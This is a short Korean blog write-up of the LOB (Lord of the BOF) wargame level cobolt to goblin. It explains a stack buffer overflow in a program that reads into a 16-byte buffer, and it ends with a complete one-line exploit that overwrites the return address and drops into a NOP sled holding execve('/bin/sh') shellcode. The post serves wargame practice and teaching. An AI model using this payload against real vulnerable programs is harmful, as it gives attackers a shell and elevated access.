튜기's blogggg

LOB cobolt->goblin

by St1tch



goblin.c를 보면 main에 인자가 없고 크기16인 버퍼에 값을 입력하는 간단한 구조이다.

shell코드가 16보다 크기 때문에 다른 방법을 찾아야한다.




main을 보면 dummy가 없이 깔끔하게 되어있다.


나는 ret뒤쪽을 nop으로 채우고 그 뒤에 shellcode를 삽입하는 형태로 공격을 했다.

스택구조는 아래와 같다.



이런식으로 진행을 공격을 할거다.

일단 스택에 값을 채워넣고 ebp+8의 주소를 알아냈다.



시작시 인자를 입력할 수 없으므로,  python코드를 간단히 짠 뒤 출력을 해주고 그 출력된 txt파일을 입력하는 형태로 실행했다.


ebp+8의 주소는 0xbffffc90이다.

여기 부터 nop을 256개 채우고 그 뒤에 쉘코드를 입력할 것이다.

리턴주소는 0xbffffc90이 아닌 조금 뒤의 주소, 적당히 nop슬라이드를 탈수 있는 주소로 설정했다. 

(조금 오차가 있기 때문에, 0xbffffc90을 해도 되긴된다. 안되면 (0xbffffc90 ~ 0xbfffd90)사이의 주소로 설정하면 됨)


exploit code

(python -c 'print "\x90" * 20 + "\x01\xfd\xff\xbf" + "\x90"*256 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'; cat) | ./goblin





블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기